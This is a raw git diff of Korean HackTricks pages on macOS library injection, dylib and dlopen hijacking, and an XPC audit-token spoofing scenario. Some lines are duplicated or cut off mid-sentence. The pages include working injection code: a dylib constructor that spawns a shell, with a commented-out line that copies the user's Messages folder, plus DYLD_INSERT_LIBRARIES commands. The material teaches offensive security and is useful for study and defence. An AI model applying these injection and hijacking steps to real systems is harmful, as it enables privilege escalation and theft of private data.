* 두 개의 맥 서비스, \*\*`A`\*\*와 **`B`**, 둘 다 연결을 설정할 수 있어야 합니다.
|
||||
* 서비스 \*\*`A`\*\*는 \*\*`B`\*\*만 수행할 수 있는 특정 작업에 대한 권한 확인을 포함해야 합니다(사용자의 애플리케이션은 수행할 수 없음).
|
||||
* 서비스 \*\*`A`\*\*는 응답을 기대하는 메시지를 보내야 합니다.
|
||||
* 사용자는 \*\*`B`\*\*에게 응답할 메시지를 보낼 수 있어야 합니다.
|
||||
|
||||
악용 프로세스는 다음 단계를 포함합니다:
|
||||
|
||||
1. 서비스 **`A`**가 응답을 기대하는 메시지를 보내기를 기다립니다.
|
||||
2. **`A`**에 직접 응답하는 대신, 응답 포트가 탈취되어 서비스 **`B`**에게 메시지를 보내는 데 사용됩니다.
|
||||
3. 이후, 금지된 작업을 포함하는 메시지가 전송되며, 이 메시지가 **`B`**의 응답과 동시에 처리될 것으로 예상됩니다.
|
||||
1. 서비스 \*\*`A`\*\*가 응답을 기대하는 메시지를 보내기를 기다립니다.
|
||||
2. \*\*`A`\*\*에 직접 응답하는 대신, 응답 포트가 탈취되어 서비스 \*\*`B`\*\*에게 메시지를 보내는 데 사용됩니다.
|
||||
3. 이후, 금지된 작업을 포함하는 메시지가 전송되며, 이 메시지가 \*\*`B`\*\*의 응답과 동시에 처리될 것으로 예상됩니다.
|
||||
|
||||
아래는 설명된 공격 시나리오의 시각적 표현입니다:
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS 라이브러리 주입
|
||||
# macOS Library Injection
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -20,23 +20,23 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## **DYLD\_INSERT\_LIBRARIES**
|
||||
|
||||
이는 [**Linux의 LD\_PRELOAD**](../../../../linux-hardening/privilege-escalation#ld\_preload)와 유사합니다. 환경 변수가 활성화되면 특정 경로에서 라이브러리를 로드하기 위해 실행될 프로세스를 지정할 수 있습니다.
|
||||
이는 [**Linux의 LD\_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld\_preload)와 유사합니다. 환경 변수가 활성화되면 특정 경로에서 라이브러리를 로드하기 위해 실행될 프로세스를 지정할 수 있습니다.
|
||||
|
||||
이 기술은 또한 **ASEP 기술로 사용**될 수 있으며, 설치된 각 애플리케이션에는 "Info.plist"라는 plist가 있어 `LSEnvironmental`이라는 키를 사용하여 환경 변수를 할당할 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
2012년 이후로 **Apple은 `DYLD_INSERT_LIBRARIES`의 권한을 크게 제한**했습니다.
|
||||
|
||||
코드로 이동하여 **`src/dyld.cpp`**를 확인하세요. 함수 **`pruneEnvironmentVariables`**에서 **`DYLD_*`** 변수가 제거되는 것을 볼 수 있습니다.
|
||||
코드로 이동하여 \*\*`src/dyld.cpp`\*\*를 확인하세요. 함수 \*\*`pruneEnvironmentVariables`\*\*에서 **`DYLD_*`** 변수가 제거되는 것을 볼 수 있습니다.
|
||||
|
||||
함수 **`processRestricted`**에서 제한의 이유가 설정됩니다. 해당 코드를 확인하면 다음과 같은 이유를 볼 수 있습니다.
|
||||
함수 \*\*`processRestricted`\*\*에서 제한의 이유가 설정됩니다. 해당 코드를 확인하면 다음과 같은 이유를 볼 수 있습니다.
|
||||
|
||||
* 이진 파일이 `setuid/setgid`입니다.
|
||||
* macho 바이너리에 `__RESTRICT/__restrict` 섹션이 존재합니다.
|
||||
* 소프트웨어에 [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) 권한이 있는 하드닝 런타임이 있습니다.
|
||||
* 이진 파일의 **권한**을 다음과 같이 확인할 수 있습니다. `codesign -dv --entitlements :- </path/to/bin>`
|
||||
|
||||
더 최신 버전에서는 이 논리를 함수 **`configureProcessRestrictions`**의 두 번째 부분에서 찾을 수 있습니다. 그러나 더 최신 버전에서 실행되는 것은 함수의 **처음 검사**입니다 (iOS 또는 시뮬레이션과 관련된 if문은 macOS에서 사용되지 않으므로 제거할 수 있습니다).
|
||||
더 최신 버전에서는 이 논리를 함수 \*\*`configureProcessRestrictions`\*\*의 두 번째 부분에서 찾을 수 있습니다. 그러나 더 최신 버전에서 실행되는 것은 함수의 **처음 검사**입니다 (iOS 또는 시뮬레이션과 관련된 if문은 macOS에서 사용되지 않으므로 제거할 수 있습니다).
|
||||
{% endhint %}
|
||||
|
||||
### 라이브러리 유효성 검사
|
||||
|
@ -45,19 +45,19 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
사용자 정의 라이브러리를 로드하려면 바이너리에 다음 중 하나의 권한이 있어야 합니다.
|
||||
|
||||
*  [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
||||
* [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
||||
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
|
||||
|
||||
또는 바이너리에 **하드닝 런타임 플래그** 또는 **라이브러리 유효성 검사 플래그**가 없어야 합니다.
|
||||
|
||||
`codesign --display --verbose <bin>`을 사용하여 바이너리에 **하드닝 런타임**이 있는지 확인할 수 있습니다. **`CodeDirectory`**에서 플래그 런타임을 확인합니다. 예: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
||||
`codesign --display --verbose <bin>`을 사용하여 바이너리에 **하드닝 런타임**이 있는지 확인할 수 있습니다. \*\*`CodeDirectory`\*\*에서 플래그 런타임을 확인합니다. 예: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
||||
|
||||
또한, 바이너리와 **동일한 인증서로 서명된 경우** 라이브러리를 로드할 수도 있습니다.
|
||||
|
||||
이를 (남용하여) 사용하고 제한 사항을 확인하는 예제를 다음에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dylib 하이재킹
|
||||
|
@ -69,8 +69,9 @@ HackTricks를 지원하는 다른 방법:
|
|||
Windows와 마찬가지로 MacOS에서도 **dylib을 하이재킹**하여 **애플리케이션**에서 **임의의 코드를 실행**할 수 있습니다 (사실 일반 사용자로서는 `.app` 번들 내부에 쓰기 권한을 얻기 위해 TCC 권한이 필요할 수 있으므로 이것이 불가능할 수도 있습니다).\
|
||||
그러나 MacOS 애플리케이션에서 라이브러리를 로드하는 방식은 Windows보다 **더 제한적**입니다. 이는 **악성 소프트웨어** 개발자가 이 기술을 **은닉**하기 위해 여전히 사용할 수 있지만 권한 상승을 위해 이를 남용할 가능성은 훨씬 낮습니다.
|
||||
|
||||
먼저, **MacOS 바이너리에서 라이브러리의 전체 경로를 지정하는 것이 더 일반적**입니다. 그리고 두 번째로, **MacOS는 라이브러리를 검색하기 위해 $PATH의 폴더
|
||||
* 만약 **`LC_LOAD_DYLIB`**에 `@rpath/library.dylib`가 포함되어 있고 **`LC_RPATH`**에 `/application/app.app/Contents/Framework/v1/`과 `/application/app.app/Contents/Framework/v2/`가 포함되어 있다면, 두 폴더는 `library.dylib`를 로드하는 데 사용될 것입니다. 만약 라이브러리가 `[...]/v1/`에 존재하지 않고 공격자가 그곳에 라이브러리를 배치할 수 있다면, **`LC_LOAD_DYLIB`**의 경로 순서에 따라 `library.dylib`를 `[...]/v2/`에서 로드하는 것을 탈취할 수 있습니다.
|
||||
먼저, **MacOS 바이너리에서 라이브러리의 전체 경로를 지정하는 것이 더 일반적**입니다. 그리고 두 번째로, \*\*MacOS는 라이브러리를 검색하기 위해 $PATH의 폴더
|
||||
|
||||
* 만약 \*\*`LC_LOAD_DYLIB`\*\*에 `@rpath/library.dylib`가 포함되어 있고 \*\*`LC_RPATH`\*\*에 `/application/app.app/Contents/Framework/v1/`과 `/application/app.app/Contents/Framework/v2/`가 포함되어 있다면, 두 폴더는 `library.dylib`를 로드하는 데 사용될 것입니다. 만약 라이브러리가 `[...]/v1/`에 존재하지 않고 공격자가 그곳에 라이브러리를 배치할 수 있다면, \*\*`LC_LOAD_DYLIB`\*\*의 경로 순서에 따라 `library.dylib`를 `[...]/v2/`에서 로드하는 것을 탈취할 수 있습니다.
|
||||
* **바이너리에서 rpath 경로와 라이브러리를 찾으려면**: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -78,8 +79,8 @@ Windows와 마찬가지로 MacOS에서도 **dylib을 하이재킹**하여 **애
|
|||
|
||||
**`@loader_path`**: **로드 명령어**를 포함하는 **Mach-O 바이너리**가 있는 **디렉토리**의 **경로**입니다.
|
||||
|
||||
* 실행 파일에서 사용되는 경우, **`@loader_path`**는 **`@executable_path`**와 **동일**합니다.
|
||||
* **dylib**에서 사용되는 경우, **`@loader_path`**는 **dylib**의 **경로**를 제공합니다.
|
||||
* 실행 파일에서 사용되는 경우, \*\*`@loader_path`\*\*는 \*\*`@executable_path`\*\*와 **동일**합니다.
|
||||
* **dylib**에서 사용되는 경우, \*\*`@loader_path`\*\*는 **dylib**의 **경로**를 제공합니다.
|
||||
{% endhint %}
|
||||
|
||||
이 기능을 악용하여 **권한 상승**을 하는 방법은 **루트**에 의해 실행되는 **응용 프로그램**이 **공격자가 쓰기 권한을 가진 폴더**에서 **라이브러리를 찾는 경우**에만 발생합니다.
|
||||
|
@ -91,8 +92,8 @@ Windows와 마찬가지로 MacOS에서도 **dylib을 하이재킹**하여 **애
|
|||
|
||||
**예시**
|
||||
|
||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dlopen Hijacking
|
||||
|
@ -101,9 +102,10 @@ Windows와 마찬가지로 MacOS에서도 **dylib을 하이재킹**하여 **애
|
|||
**이전의 Library Validation 제한 사항도** Dlopen 히재킹 공격을 수행하기 위해 적용됩니다.
|
||||
{% endhint %}
|
||||
|
||||
**`man dlopen`**에서:
|
||||
\*\*`man dlopen`\*\*에서:
|
||||
|
||||
* 경로에 **슬래시 문자가 없는 경우** (즉, 단순한 파일 이름인 경우), **dlopen()은 검색**을 수행합니다. \*\*`$DYLD_LIBRARY_PATH`\*\*가 실행 시 설정되었다면, dyld는 먼저 해당 디렉토리에서 검색합니다. 그 다음, 호출하는 mach-o 파일이나 메인 실행 파일이 \*\*`LC_RPATH`\*\*를 지정한 경우, dyld는 해당 디렉토리에서 검색합니다. 그 다음, 프로세스가 **제한되지 않은 경우**, dyld는 **현재 작업 디렉토리**에서 검색합니다. 마지막으로, 오래된 바이너리의 경우, dyld는 일부 대체 방법을 시도합니다. \*\*`$DYLD_FALLBACK_LIBRARY_PATH`\*\*가 실행 시 설정되었다면, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면, dyld는 **`/usr/local/lib/`** (프로세스가 제한되지 않은 경우) 그리고 \*\*`/usr/lib/`\*\*에서 검색합니다. (이 정보는 \*\*`man dlopen`\*\*에서 가져온 것입니다).
|
||||
|
||||
* 경로에 **슬래시 문자가 없는 경우** (즉, 단순한 파일 이름인 경우), **dlopen()은 검색**을 수행합니다. **`$DYLD_LIBRARY_PATH`**가 실행 시 설정되었다면, dyld는 먼저 해당 디렉토리에서 검색합니다. 그 다음, 호출하는 mach-o 파일이나 메인 실행 파일이 **`LC_RPATH`**를 지정한 경우, dyld는 해당 디렉토리에서 검색합니다. 그 다음, 프로세스가 **제한되지 않은 경우**, dyld는 **현재 작업 디렉토리**에서 검색합니다. 마지막으로, 오래된 바이너리의 경우, dyld는 일부 대체 방법을 시도합니다. **`$DYLD_FALLBACK_LIBRARY_PATH`**가 실행 시 설정되었다면, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면, dyld는 **`/usr/local/lib/`** (프로세스가 제한되지 않은 경우) 그리고 **`/usr/lib/`**에서 검색합니다. (이 정보는 **`man dlopen`**에서 가져온 것입니다).
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. `LC_RPATH`
|
||||
3. `CWD`(제한되지 않은 경우)
|
||||
|
@ -118,7 +120,8 @@ Windows와 마찬가지로 MacOS에서도 **dylib을 하이재킹**하여 **애
|
|||
* 바이너리가 **제한되지 않은 경우** CWD에서 무언가를 로드할 수 있습니다 (또는 언급된 환경 변수 중 하나를 악용)
|
||||
{% endhint %}
|
||||
|
||||
* 경로가 **프레임워크 경로처럼 보이는 경우** (예: `/stuff/foo.framework/foo`), **`$DYLD_FRAMEWORK_PATH`**가 실행 시 설정되었다면, dyld는 먼저 해당 디렉토리에서 **프레임워크 부분 경로** (예: `foo.framework/foo`)를 찾습니다. 그 다음, dyld는 **제공된 경로를 그대로** 시도합니다 (상대 경로의 경우 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우, dyld는 일부 대체 방법을 시도합니다. **`$DYLD_FALLBACK_FRAMEWORK_PATH`**가 실행 시 설정되었다면, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면, dyld는 **`/Library/Frameworks`** (macOS에서 프로세스가 제한되지 않은 경우) 그리고 **`/System/Library/Frameworks`**에서 검색합니다.
|
||||
* 경로가 **프레임워크 경로처럼 보이는 경우** (예: `/stuff/foo.framework/foo`), \*\*`$DYLD_FRAMEWORK_PATH`\*\*가 실행 시 설정되었다면, dyld는 먼저 해당 디렉토리에서 **프레임워크 부분 경로** (예: `foo.framework/foo`)를 찾습니다. 그 다음, dyld는 **제공된 경로를 그대로** 시도합니다 (상대 경로의 경우 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우, dyld는 일부 대체 방법을 시도합니다. \*\*`$DYLD_FALLBACK_FRAMEWORK_PATH`\*\*가 실행 시 설정되었다면, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면, dyld는 **`/Library/Frameworks`** (macOS에서 프로세스가 제한되지 않은 경우) 그리고 \*\*`/System/Library/Frameworks`\*\*에서 검색합니다.
|
||||
|
||||
1. `$DYLD_FRAMEWORK_PATH`
|
||||
2. 제공된 경로 (상대 경로의 경우 현재 작업 디렉토리를 사용, 제한되지 않은 프로세스의 경우)
|
||||
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
|
||||
|
@ -131,15 +134,16 @@ Windows와 마찬가지로 MacOS에서도 **dylib을 하이재킹**하여 **애
|
|||
* 프로세스가 **제한되지 않은 경우**, CWD의 **상대 경로** 또는 언급된 환경 변수를 악용합니다 (문서에 제한된 프로세스인 경우 DYLD\_\* 환경 변수가 제거되는지 여부는 언급되지 않았습니다).
|
||||
{% endhint %}
|
||||
|
||||
* 슬래시를 포함하지만 프레임워크 경로가 아닌 경우 (즉, 전체 경로 또는 dylib의 부분 경로), dlopen()은 먼저 (설정된 경우) **`$DYLD_LIBRARY_PATH`**에서 (경로의 리프 부분과 함께) 검색합니다. 그 다음, dyld는 **제공된 경로를 시도**합니다 (제한되지 않은 프로세스의 경우 상대 경로에 대해 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우, dyld는 일부 대체 방법을 시도합니다. **`$DYLD_FALLBACK_LIBRARY_PATH`**가 실행 시 설정되었다면, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면, dyld는 **`/usr/local/lib/`** (제한되지 않은 프로세스의 경우) 그리고 **`/usr/lib/`**에서 검색합니다.
|
||||
* 슬래시를 포함하지만 프레임워크 경로가 아닌 경우 (즉, 전체 경로 또는 dylib의 부분 경로), dlopen()은 먼저 (설정된 경우) \*\*`$DYLD_LIBRARY_PATH`\*\*에서 (경로의 리프 부분과 함께) 검색합니다. 그 다음, dyld는 **제공된 경로를 시도**합니다 (제한되지 않은 프로세스의 경우 상대 경로에 대해 현재 작업 디렉토리를 사용). 마지막으로, 오래된 바이너리의 경우, dyld는 일부 대체 방법을 시도합니다. \*\*`$DYLD_FALLBACK_LIBRARY_PATH`\*\*가 실행 시 설정되었다면, dyld는 해당 디렉토리에서 검색합니다. 그렇지 않으면, dyld는 **`/usr/local/lib/`** (제한되지 않은 프로세스의 경우) 그리고 \*\*`/usr/lib/`\*\*에서 검색합니다.
|
||||
|
||||
1. `$DYLD_LIBRARY_PATH`
|
||||
2. 제공된 경로 (제한되지 않은 프로세스의 경우 상대 경로에 대해 현재 작업 디렉토리를 사용)
|
||||
3. `$DYLD_FALLBACK_LIBRARY_PATH`
|
||||
4. `/usr/local/lib/` (제한되지 않은 프로세스의 경우)
|
||||
5. `/usr/lib/`
|
||||
|
||||
{% hint style="danger" %}
|
||||
이름에 슬래시가 포함되어 있고 프레임워크가 아닌 경우, 히재킹하는 방법은 다음과 같습니다:
|
||||
|
||||
```c
|
||||
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
|
||||
#include <dlfcn.h>
|
||||
|
@ -182,27 +186,33 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
만약 컴파일하고 실행한다면, **각 라이브러리가 실패로 끝난 위치를 확인**할 수 있습니다. 또한, **파일 시스템 로그를 필터링**할 수도 있습니다:
|
||||
|
||||
```bash
|
||||
sudo fs_usage | grep "dlopentest"
|
||||
```
|
||||
|
||||
## 상대 경로 탈취
|
||||
|
||||
만약 **권한이 있는 이진 파일/앱** (예: SUID 또는 강력한 권한을 가진 이진 파일)이 **상대 경로** 라이브러리를 로드하고 **라이브러리 유효성 검사가 비활성화**되어 있다면, 공격자가 이진 파일을 수정할 수 있는 위치로 이진 파일을 이동시키고, 해당 라이브러리를 악용하여 코드를 프로세스에 주입할 수 있습니다.
|
||||
|
||||
## `DYLD_*` 및 `LD_LIBRARY_PATH` 환경 변수 제거
|
||||
|
||||
`dyld-dyld-832.7.1/src/dyld2.cpp` 파일에서 **`pruneEnvironmentVariables`** 함수를 찾을 수 있습니다. 이 함수는 **`DYLD_`**로 시작하고 **`LD_LIBRARY_PATH=`**인 모든 환경 변수를 제거합니다.
|
||||
`dyld-dyld-832.7.1/src/dyld2.cpp` 파일에서 **`pruneEnvironmentVariables`** 함수를 찾을 수 있습니다. 이 함수는 \*\*`DYLD_`\*\*로 시작하고 \*\*`LD_LIBRARY_PATH=`\*\*인 모든 환경 변수를 제거합니다.
|
||||
|
||||
또한, **suid** 및 **sgid** 이진 파일의 경우, 이 함수는 특히 **`DYLD_FALLBACK_FRAMEWORK_PATH`** 및 **`DYLD_FALLBACK_LIBRARY_PATH`** 환경 변수를 **null**로 설정합니다.
|
||||
|
||||
이 함수는 동일한 파일의 **`_main`** 함수에서 OSX를 대상으로 하는 경우에 호출됩니다:
|
||||
|
||||
```cpp
|
||||
#if TARGET_OS_OSX
|
||||
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
||||
pruneEnvironmentVariables(envp, &apple);
|
||||
```
|
||||
|
||||
그리고 이러한 부울 플래그들은 코드 내에서 동일한 파일에 설정됩니다:
|
||||
|
||||
```cpp
|
||||
#if TARGET_OS_OSX
|
||||
// support chrooting from old kernel
|
||||
|
@ -233,13 +243,15 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
|
|||
gLinkContext.allowInsertFailures = false;
|
||||
gLinkContext.allowInterposing = true;
|
||||
```
|
||||
이는 바이너리가 **suid** 또는 **sgid**이거나 헤더에 **RESTRICT** 세그먼트가 있거나 **CS\_RESTRICT** 플래그로 서명된 경우, **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`**가 true이며 환경 변수가 제거됩니다.
|
||||
|
||||
이는 바이너리가 **suid** 또는 **sgid**이거나 헤더에 **RESTRICT** 세그먼트가 있거나 **CS\_RESTRICT** 플래그로 서명된 경우, \*\*`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`\*\*가 true이며 환경 변수가 제거됩니다.
|
||||
|
||||
참고로, CS\_REQUIRE\_LV가 true인 경우 변수는 제거되지 않지만 라이브러리 유효성 검사에서 원래 바이너리와 동일한 인증서를 사용하는지 확인합니다.
|
||||
|
||||
## 제한 사항 확인
|
||||
|
||||
### SUID & SGID
|
||||
|
||||
```bash
|
||||
# Make it owned by root and suid
|
||||
sudo chown root hello
|
||||
|
@ -250,6 +262,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
|||
# Remove suid
|
||||
sudo chmod -s hello
|
||||
```
|
||||
|
||||
### 섹션 `__RESTRICT`와 세그먼트 `__restrict`
|
||||
|
||||
The `__RESTRICT` section is a special section in macOS that is used for library injection and privilege escalation techniques. It is typically found within the `__restrict` segment.
|
||||
|
@ -259,10 +272,12 @@ The `__RESTRICT` section contains code that is executed with elevated privileges
|
|||
It is important for system administrators and developers to be aware of the existence of the `__RESTRICT` section and take appropriate measures to secure it. Regular security audits and vulnerability assessments can help identify and mitigate potential risks associated with this section.
|
||||
|
||||
By understanding the purpose and implications of the `__RESTRICT` section, security professionals can better protect macOS systems from library injection attacks and privilege escalation attempts.
|
||||
|
||||
```bash
|
||||
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||
```
|
||||
|
||||
### Hardened runtime
|
||||
|
||||
새 인증서를 Keychain에 생성하고 이를 사용하여 이진 파일에 서명합니다:
|
||||
|
@ -292,15 +307,18 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
|||
{% hint style="danger" %}
|
||||
참고로, **`0x0(none)`** 플래그로 서명된 이진 파일이 있더라도, 실행될 때 동적으로 **`CS_RESTRICT`** 플래그를 얻을 수 있으므로 이 기술은 그들에게는 작동하지 않을 수 있습니다.
|
||||
|
||||
다음 명령어로 프로세스가 이 플래그를 가지고 있는지 확인할 수 있습니다 (여기에서 [**csops를 받으세요**](https://github.com/axelexic/CSOps)): 
|
||||
다음 명령어로 프로세스가 이 플래그를 가지고 있는지 확인할 수 있습니다 (여기에서 [**csops를 받으세요**](https://github.com/axelexic/CSOps)):
|
||||
|
||||
```bash
|
||||
csops -status <pid>
|
||||
```
|
||||
|
||||
그리고 플래그 0x800이 활성화되어 있는지 확인하십시오.
|
||||
{% endhint %}
|
||||
|
||||
## 참고 자료
|
||||
* [https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/](https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/)
|
||||
|
||||
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -311,7 +329,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,188 @@
|
|||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**telegram 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## DYLD\_INSERT\_LIBRARIES 기본 예제
|
||||
|
||||
**쉘을 실행하기 위해 주입할 라이브러리**:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
__attribute__((constructor))
|
||||
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
||||
printf("[+] dylib injected in %s\n", argv[0]);
|
||||
execv("/bin/bash", 0);
|
||||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
공격할 이진 파일:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
printf("Hello, World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
삽입 (Injection):
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Dyld Hijacking 예제
|
||||
|
||||
대상 취약한 이진 파일은 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`입니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="entitlements" %}
|
||||
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
